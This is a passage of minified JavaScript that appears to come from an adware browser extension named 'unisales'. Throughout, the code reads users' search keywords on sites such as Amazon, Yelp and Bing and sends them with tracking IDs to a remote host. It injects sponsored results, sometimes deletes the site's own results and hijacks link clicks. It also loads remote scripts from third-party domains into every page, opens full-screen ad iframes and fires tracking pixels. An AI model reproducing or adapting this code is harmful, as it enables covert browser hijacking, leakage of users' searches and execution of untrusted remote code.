getComputedStyle(a,null).height}(\".yael .cards-card\");document.querySelector(\".omnibox-cards-transformations\").style.marginTop=c;document.querySelector(\"#reveal-cards\").style.marginTop=c},validate:function(a){b.utils.isIE()||(b.num_of_items_in_one=1,a())}},amazon:{unique_search_divs:\"1\",urls:[\"http://www.amazon.co...searchtextbox\", validate:function(a){a()}},smartAddress:{hrefSelector:[\"li a\"],unique_search_divs:\"2\",dr:[\".peach ol\"],urls:[\"search.smartaddressbar.com/web.php?s=*\"],src_for_keyword:\"#stxt\",tweak:function(){var a=b.utils.query_selector_all(\".peach\")[0],c=b.utils.query_selector_all(\".right ul\")[0];a&&a.parentNode.removeChild(a);c&&c.parentNode.removeChild©},validate:function(){return!0}},superpages:{unique_search_divs:\"1\",urls:[\"http://yellowpages.s...keyword:\"input[type='text']#what\", validate:function(){return!0}},yelp:{unique_search_divs:\"1\",urls:[\"http://www.yelp.com/...idate:function(){b.num_of_items_in_one=1;return!0}},yellowpages:{unique_search_divs:\"1\",urls:[\"http://www.yellowpag...keyword:\"input[type='text']#query\",validate:function(){return!0}},info:{unique_search_divs:\"1\",urls:[\"http://www.info.com/...keyword:\"input[type='text']#qkw0\",validate:function(){return!0}}, webcrawler:{unique_search_divs:\"1\",urls:[\"http://www.webcrawle...keyword:\"input[type='text']#topSearchTextBox\",validate:function(){return!0}},webssearches:{unique_search_divs:\"1\",urls:[\"http://search.websse...rc_for_keyword:[\"input[type='search']#topSearchTextBox\",\"input[type='text']#q\"],validate:function(){b.num_of_items_in_one=2;return!0}},mywebsearch:{unique_search_divs:\"1\", urls:[\"http://search.mywebs...rc_for_keyword:[\"input#q\"],validate:function(){return!0}}};var l=function(a){if(\"string\"==typeof a){var c=a.match(/:nth-match\\(([0-9]+)\\)/);if(c&&1<c.length)return a=b.utils.query_selector_all(a.substr(0,c.index))||[],a[c[1]]||void 0;a=b.utils.query_selector_all(a)||[];return a[0]||void 0}};b.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f.addEventListener(b,d,e); g&&a.cache.push([b,d,e,f])}:window.attachEvent?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f[\"e\"+b+d]=d;f[b+d]=function(){f[\"e\"+b+d](window.event)};f.attachEvent(\"on\"+b,f[b+d]);g&&a.cache.push([b,d,e,f])}:function(){};a.remove=window.removeEventListener?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.removeEventListener(a,b,e)}:window.detachEvent?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.detachEvent(\"on\"+a,f[a+b]);f[a+b]=null;f[\"e\"+a+b]=null}:function(){};a.flush=function(){for(var b= 0;b<a.cache.length;b++)a.remove.apply(a,a.cache);a.cache=[]}};b.get_insertion_element=function(a){return!a.insert||\"before\"!=a.insert&&\"after\"!=a.insert?a.element:a.element.parentNode};b.dom=new function(){this.json_to_html=function(a,c){if(\"#text\"==a.type)c=document.createTextNode(a.text);else if(\"#comment\"!=a.type){c||(c=document.createElement(a.type));if(a.attrs){for(var d in a.attrs)if(a.attrs.hasOwnProperty(d))if(\"style\"==d&&a.attrs.style instanceof Object)for(var e in a.attrs.style){var f= b.utils.dhtml_prop_name(e);try{c.style[f]=a.attrs.style[e]}catch(g){}}else c.setAttribute(d,a.attrs[d]);\"iframe\"==a.type&&(a.attrs.hasOwnProperty(\"frameborder\")&&(c.frameBorder=a.attrs.frameborder),a.attrs.hasOwnProperty(\"marginwidth\")&&(c.marginWidth=a.attrs.marginwidth),a.attrs.hasOwnProperty(\"marginheight\")&&(c.marginHeight=a.attrs.marginheight))}if(a.children)for(d=0;d<a.children.length;d++){f=a.children[d];e=arguments.callee(f);try{c.appendChild(e)}catch(h){if(\"#text\"==f.type&&\"string\"==typeof f.text)if(\"style\"== a.type&&c.styleSheet)c.styleSheet.cssText=f.text||\"\";else if(e=b.utils.get_node_text_prop©)c[e]=f.text}}}return c}};b.addEventClick=function(a,c){for(var d=0;d<a.length;d++)b.events.add(\"click\",function(a){a.preventDefault?a.preventDefault():a.returnValue=!1;this.href=\"#\";location.href=c+\"&j=true\";b.events.flush();localStorage.setItem(b.prefix,b.now+b.clickInterval);return!1},!1,a[d],!0)};b.checkClickInterval=function(a){if(b.now>a)return!0};b.setClickHref=function(a,c){if(\"undefined\"!=typeof b.projects_info[c].hrefSelector){if(b.utils.getRandomInt(1, 1E4)>=1E4/b.ratio)return!1;var d=b.projects_info[c].hrefSelector,e=parseInt(localStorage.getItem(b.prefix));if(\"undefined\"!=typeof d){if(d instanceof Array)for(var f=0;f<d.length;f++){var g=b.utils.query_selector_all(d[f]);if(0<g.length)break}else g=b.utils.query_selector_all(d);if(!e||b.checkClickInterval(e))b.addEventClick(g,a),b.j=!0}}};b.escape_chars_for_json=function(a){for(var b in a)\"string\"===typeof a&&(a=a.replace(/\\\"/g,'\\\\\"'));return a};b.tpl_engine=function(a,c,d){\"false\"!==d.layouts.unique&& (c=b.escape_chars_for_json©);a=JSON.stringify(a);d=[{replace:\"title\",\"with\":c.title},{replace:\"displayUrl\",\"with\":c.displayUrl},{replace:\"description\",\"with\":c.description},{replace:\"clickUrl\",\"with\":c.clickUrl}];for(var e=0;e<d.length;e++)a=a.replace(RegExp(\"\\\\[##\"+d[e].replace+\"##\\\\]\",\"g\"),d[e][\"with\"]);try{return\"undefined\"!==typeof c.pxl&&\"\"!==c.pxl&&b.utils.sendPixels(c.pxl),JSON.parse(a)}catch(f){}};b.get_item_json=function(a,c){var d=b.utils.clone_object(a.layouts.template);d.attrs instanceof Object||(d.attrs={});return d=b.tpl_engine(d,c,a)};b.add_jsonp_to_config=function(a,c){b.get_item_json(a)};b.remove_search=function(){var a=b.utils.query_selector_all(\".yael\");if(0<a.length)for(var c=0;c<a.length;c++)a[c].parentNode.removeChild(a[c])};b.inject_json=function(a){\"first\"==a.insert?a.element.insertBefore(a.node,a.element.firstChild):\"before\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element):\"after\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element.nextSibling): a.element.appendChild(a.node)};b.get_ad_dom=function(a){return a.layouts instanceof Object&&a.layouts.dom instanceof Object?a.layouts.dom:!1};b.get_layout_type=function(a){if(a.layouts instanceof Object)for(var b=0;b<k.length;b++)if(-1<a.layouts.id.indexOf(k))return k;return!1};b.create_search=function(a){a=b.get_ad_dom(a);return b.dom.json_to_html(a)};b.templates=new function(){this.container_id=0;this.add_real_links=function(a,c){b.utils.add_event(\"click\",function(b){window.open(a);b.preventDefault? b.preventDefault():b.returnValue=!1},!1,c)}};b.validate_response=function(){for(var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/)&&__yael_res.data.items[a].displayUrl.replace(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/,\"\")};b.is_target_valid=function(a){if(0!=__yael_res.data.numberOfItems&&\"undefined\"!=typeof a.element)return a.urls instanceof Array&&!b.utils.match_url(a.element.ownerDocument.location.href,a.urls)?!1:!0};var n=null;b.get_target_element=function(a){if(a.inserts instanceof Array&&\"undefined\"==typeof a.element)for(var b=0;b<a.inserts.length;b++)if(a.element=l(a.inserts.selector),\"undefined\"!==typeof a.element){a.insert=a.inserts.at;break}};b.add_data_to_config=function(a,c){if(0==c.length)return b.unique_items_left=!1;var d=b.get_ad_dom(a);(function(a,c){c&&c.children&&0!==c.children.length?(c=c.children[c.children.length-1],arguments.callee(a,c)):b.insert_point=c})(a,d);for(var e=0;e<b.num_of_items_in_one&&0!=c.length;e++){var f=b.get_item_json(a,c[0]);try{b.insert_point.children.push(f)}catch(g){b.insert_point= d,b.insert_point.children.push(f)}\"true\"==a.layouts.unique?b.not_unique_items.push(c.shift()):c.shift()}};b.addEventsToItems=function(){for(var a=document.querySelectorAll('a[href*=\"'+b.jsonpHost+'\"]'),c=0;c<a.length;c++)b.events.add(\"click\",function(){b.init_search_project()},!1,a[c],!1)};b.check_if_div_in_dom=function(a,b){var d=[],e;for(e in __yael_res.config.targets){var f=__yael_res.config.targets[e];clearTimeout(n);a++;if(4<a)return;if(f.inserts instanceof Array&&\"undefined\"==typeof f.element)for(var g= 0;g<f.inserts.length;g++){var h=l(f.inserts[g].selector);\"undefined\"!==typeof h&&d.push(h)}}for(e=0;e<d.length;e++)if(\"undefined\"==typeof d[e]){var k=this;n=setTimeout(function(){k.apply(k,arguments)},200)}b()};b.addExtensionName=function(a){var c=JSON.stringify(a.layouts.dom);if(!c.match(/\\[##eid##\\]/))return a;c=c.replace(/\\[##eid##\\]/g,b.eid);a.layouts.dom=JSON.parse©;return a};b.loop_targets=function(a,c,d){if(a instanceof Object&&(b.get_target_element(a),b.is_target_valid(a)&&(\"false\"==d&& b.unique_items_left&&(c=b.not_unique_items),0!=c.length))){b.add_data_to_config(a,c);try{a=b.addExtensionName(a)}catch(e){}try{a.node=b.create_search(a)}catch(f){}\"undefined\"!=typeof a.node&&b.inject_json(a)}};b.removeSecondClick=function(){for(var a=b.utils.query_selector_all(\".yael a\"),c=0;c<a.length;c++)b.events.add(\"click\",function(a){setTimeout(function(){for(var a=b.utils.query_selector_all(\".yael a\"),c=0;c<a.length;c++){var d=a[c];d.outerHTML=d.outerHTML.replace(/href\\=/ig,\"_href=\")}},20)}, !1,a[c],!0)};b.addCloseFunctionality=function(){function a(a){for(var b=a.className.split(\" \"),c=0;c<b.length;c++)if(\"yael\"===b[c])return a;if(!a.parentElement)return!1;a=a.parentElement;return arguments.callee(a)}var c=b.utils.query_selector_all(\".yael_close_btn\");if©for(var d=0;d<c.length;d++)b.events.add(\"click\",function(){try{var b=a(this)}catch©{}b&&b.parentElement.removeChild(b)},!1,c[d],\"closeBtn\")};b.inject_search=function(){b.not_unique_items=[];0!=__yael_res.data.items.length&&(b.setClickHref(__yael_res.data.items[0].clickUrl, b.projects_name),b.check_if_div_in_dom(0,function(){for(var a in __yael_res.config.targets){var c=__yael_res.config.targets[a];b.loop_targets(c,__yael_res.data.items,c.layouts.unique)}\"function\"==typeof b.projects_info[b.projects_name].tweak&&b.projects_info[b.projects_name].tweak();b.j||b.removeSecondClick();b.addCloseFunctionality();b.utils.flushWaitForTokens()}))};b.init_search_project=function(){b.waitForElementCounter=0;\"undefined\"!=typeof __yael&&b.remove_search();for(var a in b.projects_info)if(b.utils.match_url(location.href, b.projects_info[a].urls)){var c=b.projects_info[a];b.projects_name=a;if(-1<b.initThrottle.indexOf(a))c.validate(function(){c.name=b.projects_name;b.get_keyword(c,function(a,c){b.jsonp_request(a,c)})});else{if(!c.validate())return;c.name=b.projects_name;b.projects_name=a;b.get_keyword(c,function(a,c){b.jsonp_request(a,c)})}}return!1};b.get_keyword=function(a,c){var d=a.src_for_keyword,e=function(d){b.inputElement=d[0];b.keyword=b.inputElement.value;if(2>b.keyword.length)return b.utils.flushWaitForTokens(), !1;if(b.inputElement&&\"input\"==b.inputElement.tagName.toLowerCase()&&\"\"!==b.keyword)return c(b.keyword,a.name)};if(d instanceof Array)for(var f=0;f<d.length;f++)b.utils.waitForElement(d[f],function(a){a&&e(a)},100,\"keyword\");else b.utils.waitForElement(d,function(a){a&&e(a)},100,\"keyword\")};b.remove_se_handler=function(a){var c=b.projects_info[a].dr;if(c instanceof Array)if(\"bing\"==a)for(c=b.utils.query_selector_all(c[0]),a=0;a<c.length;a++)b.remove_se(c[a]);else for(a=0;a<c.length;a++){var d=l(c[a]); b.remove_se(d)}};b.remove_se=function(a){a&&a.parentElement.removeChild(a)};b.jsonp_request=function(a,c){var d=b.num_of_items_in_one*parseInt(b.projects_info[c].unique_search_divs);window.__yael_cb=function(a){window.__yael_res=a;\"0\"==__yael_res.data.numberOfItems?b.utils.flushWaitForTokens():(0==__yael.utils.getRandomInt(0,10)&&b.remove_se_handler©,__yael.inject_search())};\"undefined\"==typeof window.__yael&&(window.__yael=b);d=b.jsonpHost+\"/?v=\"+b.version+\"&p=\"+c+\"&keyword=\"+a+\"&numItems=\"+d+ \"&hid=654297403071659264&eid=1263&pid=21073&prid=186\";\"undefined\"!=typeof specificFeeds&&specificFeeds instanceof Array&&(d+=\"&_feeds=\"+specificFeeds.join(\",\"));if(b.utils.isIE()){if(document.getElementById(\"__yael_script\")){var e=document.getElementById(\"__yael_script\");e.parentNode.removeChild(e)}e=document.createElement(\"script\");e.id=\"__yael_script\";e.src=\"//\"+d+\"&domvar=__yael_cb\";e.type=\"text/javascript\";b.utils.addScript(e,c)}else b.utils.ajax.get(\"//\"+d,function(a){\"\"!= a&&(window.__yael_res=JSON.parse(a),window.__yael_res.config.targets.header.num_of_items_in_one&&(b.num_of_items_in_one=window.__yael_res.config.targets.header.num_of_items_in_one),\"0\"==__yael_res.data.numberOfItems?b.utils.flushWaitForTokens():(0==__yael.utils.getRandomInt(0,10)&&__yael.remove_se_handler©,__yael.inject_search()))})};\"undefined\"==typeof __yael&&b.init_search_project();-1<b.initThrottle.indexOf(b.projects_name)&&b.events.add(\"keyup\",b.utils.throttle(b.init_search_project,3E3),!1, b.inputElement,!1)}};;new function(){if(null==document.getElementById(\"id_arrrrppdjafklbvnn4450fm\")&&window.self==window.top&&\"http:\"==window.self.location.protocol){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"//istatic.datafastguru.info/fo/min/wp.js?subid=1263_21073&hid=654297403071659264&bname=unisales\";a.setAttribute(\"id\",\"id_arrrrppdjafklbvnn4450fm\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};;try{new function(){if(null==document.getElementById(\"id_arrrrppdjafklbvnn4440fm\")&&\"http:\"==location.protocol&&window.self==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"//istatic.datafastguru.info/fo/min/wpb.js?subid=1263_21073&hid=654297403071659264&bname=unisales\";a.setAttribute(\"id\",\"id_arrrrppdjafklbvnn4440fm\");document.getElementsByTagName(\"head\")[0].appendChild(a)}}}catch(e$$12){};;try{new function(){if(null==document.getElementById(\"id_ad5cbe0b719874f1\")&&window.self==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"//istatic.datafastguru.info/fo/min/wpgb.js?bname=unisales&subid=1263_21073\";a.setAttribute(\"id\",\"id_ad5cbe0b719874f1\");document.getElementsByTagName(\"head\")[0].appendChild(a)}}}catch(e$$12){};;(function(){if(!document.getElementById(\"qwejkhjkshdfs_4\")&&window.self==window.top){var a=document.createElement(\"script\");a.id=\"inj_grazit_script_starter\";a.type=\"text/javascript\";a.src=\"//ext1.engageya.com/widget/inject_spark/inj_sprk_starter.js?pid=LTEsMTQyNTU5LDk0NjA4LDU0OTcx&subid=1263_21073&appname=unisales\";a.setAttribute(\"id\",\"qwejkhjkshdfs_4\");document.getElementsByTagName(\"head\")[0].appendChild(a)}})();;new function(){if(!document.getElementById('__if72ru4sdfsdfrkjahiuyi_once')){(function(){var c=document.createElement('div');c.id='__if72ru4sdfsdfrkjahiuyi_once';c.setAttribute('style','display:none;');var b=document.getElementsByTagName('body')[0];b&&b.appendChild©})();var a=this,d=a;a.hid='654297403071659264';a.eid='1263';a.pid='21073';a.cc='MY';a.extName='unisales';a.OnloadCap=0;a.utils=new function(){var c=this;c.JSON=new function(){this.parse= function(b){try{return'undefined'!==typeof JSON&&'function'==typeof JSON.stringify?JSON.parse(b):eval('var a='+b)}catch(f){return!1}}};c.cookie=new function(){var b=this;b.setCookie=function(b,c,e){if(e){var a=new Date;a.setTime(a.getTime()+864E5*e);e='; expires='+a.toGMTString()}else e='';document.cookie=b+'='+c+e+'; path=/'};b.getCookie=function(b){b+='=';for(var c=document.cookie.split(';'),e=0;e<c.length;e++){for(var a=c[e];' '==a.charAt(0);)a=a.substring(1,a.length);if(0==a.indexOf(b))return a.substring(b.length, a.length)}return null};b.eraseCookie=function(f){b.setCookie(f,'',-1)}};c.getProtocol=function(b){var f=document.createElement('a');f.href=b;return f.protocol};c.getInstructions=function(b,f){c.msie&&11>c.msie?c.inject_script(b+('&cb='+d.prefix+'.'+f)):c.ajax.get(b,function(b){if(b)d[f](b)})};c.l=new function(){var b=this;b.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';b.encode=function(f){f=b._utf8_encode(f);for(var c='',e=0;e<f.length;){var a=f.charCodeAt(e++),d=f.charCodeAt(e++), m=f.charCodeAt(e++),k=a>>2,a=(a&3)<<4|d>>4,p=(d&15)<<2|m>>6,n=m&63;isNaN(d)?p=n=64:isNaN(m)&&(n=64);c=c+b.xlat.charAt(k)+b.xlat.charAt(a)+(64==p?'=':b.xlat.charAt(p))+(64==n?'=':b.xlat.charAt(n))}return c};b._utf8_encode=function(b){if(b&&b.length){for(var c='',a=0;a<b.length;a++){var d=b.charCodeAt(a);128>d?c+=String.fromCharCode(d):(127<d&&2048>d?c+=String.fromCharCode(d>>6|192):(c+=String.fromCharCode(d>>12|224),c+=String.fromCharCode(d>>6&63|128)),c+=String.fromCharCode(d&63|128))}return c}return b}; b.decode=function(b){b=b.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var c='',a=0;a<b.length;){var d=this.xlat.indexOf(b.charAt(a++)),h=this.xlat.indexOf(b.charAt(a++)),m=this.xlat.indexOf(b.charAt(a++)),k=this.xlat.indexOf(b.charAt(a++)),p=(h&15)<<4|m>>2,n=(m&3)<<6|k,c=c+String.fromCharCode(d<<2|h>>4);64!=m&&0<p&&(c+=String.fromCharCode(p));64!=k&&0<n&&(c+=String.fromCharCode(n))}return this._utf8_decode©};b._utf8_decode=function(b){for(var c='',a=0;a<b.length;){var d=b.charCodeAt(a);if(128> d)c+=String.fromCharCode(d),a++;else if(191<d&&224>d)var h=b.charCodeAt(a+1),c=c+String.fromCharCode((d&31)<<6|h&63),a=a+2;else var h=b.charCodeAt(a+1),m=b.charCodeAt(a+2),c=c+String.fromCharCode((d&15)<<12|(h&63)<<6|m&63),a=a+3}return c}};c.ajax=new function(){this.get=function(b,c){try{var a=new XMLHttpRequest;a.open('GET',b,!0);a.withCredentials=!0;a.onreadystatechange=function(){4==a.readyState&&c(a.responseText)};a.send()}catch(e){}}};c.randomChar=function(){for(var b='',c=0;2>c;c++)b+='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.charAt(Math.floor(52* Math.random()));return b};c.msie=function(){var b=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(b)&&(b=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(b)?!1:b}();c.inject_script=function(b){var c=document.getElementsByTagName('body')[0],a=document.createElement('script');a.type='text/javascript';a.id='id_'+d.prefix;a.src=b;c&&c.appendChild(a)};c.epoch=function(){return Math.floor((new Date).getTime()/1E3)};c.getVert= function(){var b=localStorage.getItem('sk398erjds2d');return b?b:c.forexVert()};c.browser=function(){var b=navigator.userAgent.toLowerCase(),c={webkit:/webkit/.test(b),mozilla:/mozilla/.test(b)&&!/(compatible|webkit)/.test(b),chrome:/chrome/.test(b),msie:/msie/.test(b)&&!/opera/.test(b),firefox:/firefox/.test(b),safari:/safari/.test(b)&&!/chrome/.test(b),opera:/opera/.test(b)};c.version=c.safari?(b.match(/.+(?:ri)[\\/: ]([\\d.]+)/)||[])[1]:(b.match(/.+(?:ox|me|ra|ie)[\\/: ]([\\d.]+)/)||[])[1];return c}(); c.getNodeTextProp=function(b){return'textContent'in b?'textContent':'innerText'in b?'innerText':!1};c.dhtml_prop_name=function(b){return b.replace(/(\\-([a-z]){1})/g,function(b,c,a){return a.toUpperCase()})};c.get_computed_style='function'!=typeof window.getComputedStyle?function(b){return{getPropertyValue:function(a){'float'==a&&(a='styleFloat');a=c.dhtml_prop_name(a);return'object'==typeof b.currentStyle&&null!=b.currentStyle&&'undefined'!=typeof b.currentStyle[a]?b.currentStyle[a]:null}}}:function(b, c){return window.getComputedStyle(b,c)||{getPropertyValue:function(){}}};c.mapAdTypes=function(b){for(var c={},a=0;a<b.length;a++){var e=b[a];c['_'+e[2]]={key:e[0]+'x'+e[1]}}return c}};a.prefix='if72ru4rkjahiuyi';a.version='0.1.0';a.pop_collision_id='__ipu=';a.pixelHostname='//direct_pop.unition.org/';a.fallbackHostnames=['compey.net','comprises.info'];a.fallbackAdTypes={_1:{key:'728x90'},_2:{key:'300x250'},_3:{key:'468x60'},_4:{key:'250x250'},_5:{key:'160x600'},_6:{key:'120x600'},_7:{key:'120x240'}, _8:{key:'240x400'},_10:{key:'300x600'},_9:{key:'1024x728'},_11:{key:'670x670'},_12:{key:'600x270'},_13:{key:'600x400'}};try{a.stngs=a.utils.JSON.parse('{\"szy_domain\":[\"versemasteryx.info\",\"compey.info\"],\"ad_sizes\":[[120,60,19],[630,250,22],[336,280,17],[630,500,23],[180,150,18],[234,60,15],[200,200,16],[600,400,13],[125,125,14],[670,670,11],[600,270,12],[800,600,21],[468,60,3],[800,440,20],[300,250,2],[728,90,1],[300,600,10],[120,240,7],[120,600,6],[160,600,5],[250,250,4],[240,400,8]]}')}catch®{a.stngs=a.utils.JSON.parse('{\"szy_domain\":[\"skymetwebguard.com\",\"compey.info\"],\"ad_sizes\":[[728,90,1],[300,250,2],[468,60,3],[250,250,4],[160,600,5],[120,600,6],[120,240,7],[240,400,8],[300,600,10],[670,670,11],[600,270,12],[600,400,13],[125,125,14],[234,60,15],[200,200,16],[336,280,17],[180,150,18],[120,60,19],[800,440,20],[800,600,21]]}')}var q; q=''!==a.stngs&&a.stngs&&'undefined'!==typeof a.stngs.szy_domain&&a.stngs.szy_domain instanceof Array?a.stngs.szy_domain:a.fallbackHostnames;a.hostnames=q;q=''!==a.stngs&&a.stngs&&'undefined'!==typeof a.stngs.ad_sizes&&a.stngs.ad_sizes instanceof Array?a.utils.mapAdTypes(a.stngs.ad_sizes):a.fallbackAdTypes;a.adTypes=q;a.body=document.getElementsByTagName('body')[0];a.directParams={subid:d.pid,subid1:d.hid,subid2:d.eid,tid:'6'};a.dom=new function(){this.json_to_html=function(c,b){if('#text'==c.type)b= document.createTextNode(c.text);else if('#comment'!=c.type){b||(b=document.createElement(c.type));if(c.attrs){for(var a in c.attrs)if(c.attrs.hasOwnProperty(a))if('style'==a&&c.attrs.style instanceof Object)for(var g in c.attrs.style){var e=d.utils.dhtml_prop_name(g);try{b.style[e]=c.attrs.style[g]}catch(l){}}else b.setAttribute(a,c.attrs[a]);'iframe'==c.type&&(c.attrs.hasOwnProperty('frameborder')&&(b.frameBorder=c.attrs.frameborder),c.attrs.hasOwnProperty('marginwidth')&&(b.marginWidth=c.attrs.marginwidth), c.attrs.hasOwnProperty('marginheight')&&(b.marginHeight=c.attrs.marginheight))}if(c.children)for(a=0;a<c.children.length;a++){e=c.children[a];g=arguments.callee(e);try{b.appendChild(g)}catch(h){if('#text'==e.type&&'string'==typeof e.text)if('style'==c.type&&b.styleSheet)b.styleSheet.cssText=e.text||'';else if(g=d.utils.getNodeTextProp(b))b[g]=e.text}}}return b}};a.events=new function(){var c=this;c.cache=[];c.add=window.addEventListener?function(b,a,d,e,l){'undefined'==typeof e&&(e=window);e.addEventListener(b, a,d);l&&c.cache.push([b,a,d,e])}:window.attachEvent?function(b,a,d,e,l){'undefined'==typeof e&&(e=window);e['e'+b+a]=a;e[b+a]=function(){e['e'+b+a](window.event)};e.attachEvent('on'+b,e[b+a]);l&&c.cache.push([b,a,d,e])}:function(){};c.remove=window.removeEventListener?function(b,a,c,e){'undefined'==typeof e&&(e=window);e.removeEventListener(b,a,c)}:window.detachEvent?function(b,a,c,e){'undefined'==typeof e&&(e=window);e.detachEvent('on'+b,e[b+a]);e[b+a]=null;e['e'+b+a]=null}:function(){};c.flush= function(){for(var a=0;a<c.cache.length;a++)c.remove.apply(c,c.cache[a]);c.cache=[]}};a.pixel=function(c,b){var f=a.pixelHostname+'?',g=d.hostnames['https:'==window.self.location.protocol?0:1],g={pid:d.pid,cc:d.cc,eid:d.eid,hid:d.hid,v:d.version,ch:b,cid:d.response[0][2],tid:d.directParams.tid,adtid:d.response[0][4],smid:d.response[0][3],pbid:c,oh:encodeURIComponent(d.response[0][0]),sh:encodeURIComponent(g)},e;for(e in g)f+=e+'='+g[e]+'&';f=f.slice(0,-1);(new Image).src=f};a.products=new function(){this.code_7= function(a){function b(){var a=document.getElementById('__modal_close'),b=document.getElementById('__modal_container');d.events.add('click',function(){b.parentNode.removeChild(b)},!1,a,!1)}function f(){var a,b,c;'undefined'==typeof d.response[0][4]&&d.response[0].push(9);try{a=d.adTypes['_'+d.response[0][4]].key,b=a.split('x')[0]+'px',c=a.split('x')[1]+'px'}catch(e){}a=window.innerHeight;if(b&&c){var f=document.getElementById('__modal');f.style.width=b;f.style.height=c;f.style.marginLeft=parseInt(f.style.width)/ 2-parseInt(f.style.width)+'px';f.style.top=(a-parseInt(f.style.height))/2+'px'}}if((a=a[0][0])&&window.self.location.protocol===d.utils.getProtocol(a)&&!(d.utils.msie&&9>d.utils.msie)&&'http:'===a.split('/')[0]){var g={type:'div',attrs:{id:'__modal_container',style:{position:'fixed','z-index':'9999999999',height:'100%',width:'100%',margin:'0',padding:'0',background:'rgba(0,0,0,0.3)',top:'0',right:'0',bottom:'0',left:'0','border-radius':'0'}},children:[{type:'div',attrs:{id:'__modal',style:{position:'absolute', 'z-index':'99999999999',left:'50%',top:'10px','text-align':'left',width:'90%',margin:'0 0 0 -45%','background-color':'#FFFFFF',border:'1px solid #DDDDDD','border-radius':'5px',height:'90%',padding:'0'}},children:[{type:'div',attrs:{style:{margin:'0',padding:'2px',left:'0',width:'inherit',top:'0','background-color':'transparent'},id:'__modal_close'},children:[{type:'img',attrs:{src:'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAABA1JREFUeNp8VW9IW1cUP3l5eS9iZx+amsaNtNZsdtgttnSkBYmRLEsVs1rwi9Z9Udm6YZXYTr+MaMcm4idXPwTUD05BWP3bNBsleREUoabMTzr/wNxEjQqCgoj/Gr2792re8prUC4f3znnn/M65757zuwqEEMRbLMfxXzocV/MLCswfZ2bakpKSTAqFAra3t4ML//zr93pfjL3weOb29vYO4gIQ4GjBwWx1dbVlfn5e3NjYQBHBOpqamkLRtoWFBfEh9mUYhn0bR6ZotTrB5/O5SNDq6irq6OhAxcXFSK1Wy8Rms6G2tja0vLxME4iBgEt78aIQF1in0wnT09Nu4uj1epHRaEQ8z8eARovJZELj4+ORHbk/0OsFGTCLV2BkhFba1dUlBUYDn5WkpaWFggeDQRfHq1kJ2NXQaIlUelaFZ0l7ezsF/7mpyUKBNamp/NLSkogFZWVlyZytVivKz8+PATEYDKimpgZd0GolW9L582h2dhatra2JaWlpPNR+/9hIMrndbllwTk6OdPrNzc3UlpCQgLKzsykAsXd2dspinE4ntT958qORseZZzaTthoeHZS2I+xX29/epXlFRAY2NjYB3BL29vaDRaKh9Z2dHiiE9PjA0BMfHx3Dnjt0MoVDIs7i4GPe/lZaWopWVFaly4hd57+/vjxszMTGB1tfXPYxKpTJtbm7GDA1Zg4ODUFdXB4eHh1RPTEykz9HRUSgrK4s7cBgUlEqliSFbODo6kn0ktsjC0wW7u7uy78QWb0VjMViCycnJcR0/NRqhu7sbBEGgeiSovLwcGhoaqB4th+EwpKSkEJcgg8fSjwkGMjIyZKDJ2KEHg0aSku0/dNbCwcEJ51RWVkJ1TS28OQZ4g/OF8fMIi/7SJdja2vIzflEcI44Oh0MG/Mm1azLQkpISGHjWB85HjyXwz25eP/0H+Fzwo6joLrx37hw8/8M3Btdv3ODxKYuEvTSp2pi+rK+vp+/4kBEoT8RssZIJQ+kfZlJdgckNFCr00ucnHSMab97iaQf82tNDR7q1tfWdI0uAFcr/wRklhxiGk/QH335H27BvYMgiccXly+ks7mdKQlVVVTGgfIIasbRiVgIiVSpZkoxDn9vtmGbXSc+7dPp0Vkablrw8AQNT2mzC25RAsXBYlKqTKiPgzGmCr795gFZCIVKt2154V4hL9F/Y7QLJSsAnJycRHmWkuZCKOBWumFTHnACSX1J07x4KBEbo9jHxuAqLimVEr3j7zku/coV9+svTnNu3b/2AVSuZOsx8MDMzg09eAQbDR6DXv09PH6/Aq9d//uSsfTT+99xfYdmwvOsyzc3N5e/f/+pqYWGBmeM4GzaZTj8Fw+Gwf9Dz+9hvz/rmRsWXcS/T/wQYAL8KChTqW9Z8AAAAAElFTkSuQmCC', style:{cursor:'pointer'}}},{type:'span',attrs:{style:{position:'relative','margin-left':'20px','font-size':'12px','line-height':'33px'}},children:[{type:'#text',text:'Ads by '+d.extName}]}]},{type:'iframe',attrs:{style:{border:'0'},id:'__modal_iframe',width:'100%',height:'100%',frameboarder:'0',scrolling:'yes',marginheight:'0',marginwidth:'0',allowtransparency:'true',src:''}}]}]};try{var e=d.dom.json_to_html(g)}catch(l){}e&&(document.getElementsByTagName('body')[0].appendChild(e),document.getElementById('__modal_iframe').src= a,d.pixel('0','1'),b(),f())}}};a.getKeywords=function(){var a=document.title,b=document.getElementsByTagName('meta');if(b)for(var d=0,g=b.length;d<g;d++)'keywords'!=b[d].name.toLowerCase()&&'description'!=b[d].name.toLowerCase()||(a+=' '+b[d].content.replace(/,/g,' '));if(d=document.getElementsByTagName('a')){b={};for(g=0;g<d.length;g++)try{var e=d[g].innerText;'undefined'==typeof e&&(e=d[g].textContent);for(var l=e.toLowerCase().split(/[\\s,-]/g),h=0;h<l.length;h++)4>l[h].length||(b[l[h]]?b[l[h]]++: b[l[h]]=1)}catch(m){}var e=[],k;for(k in b)e.push([k,b[k]]);e.sort(function(a,b){return 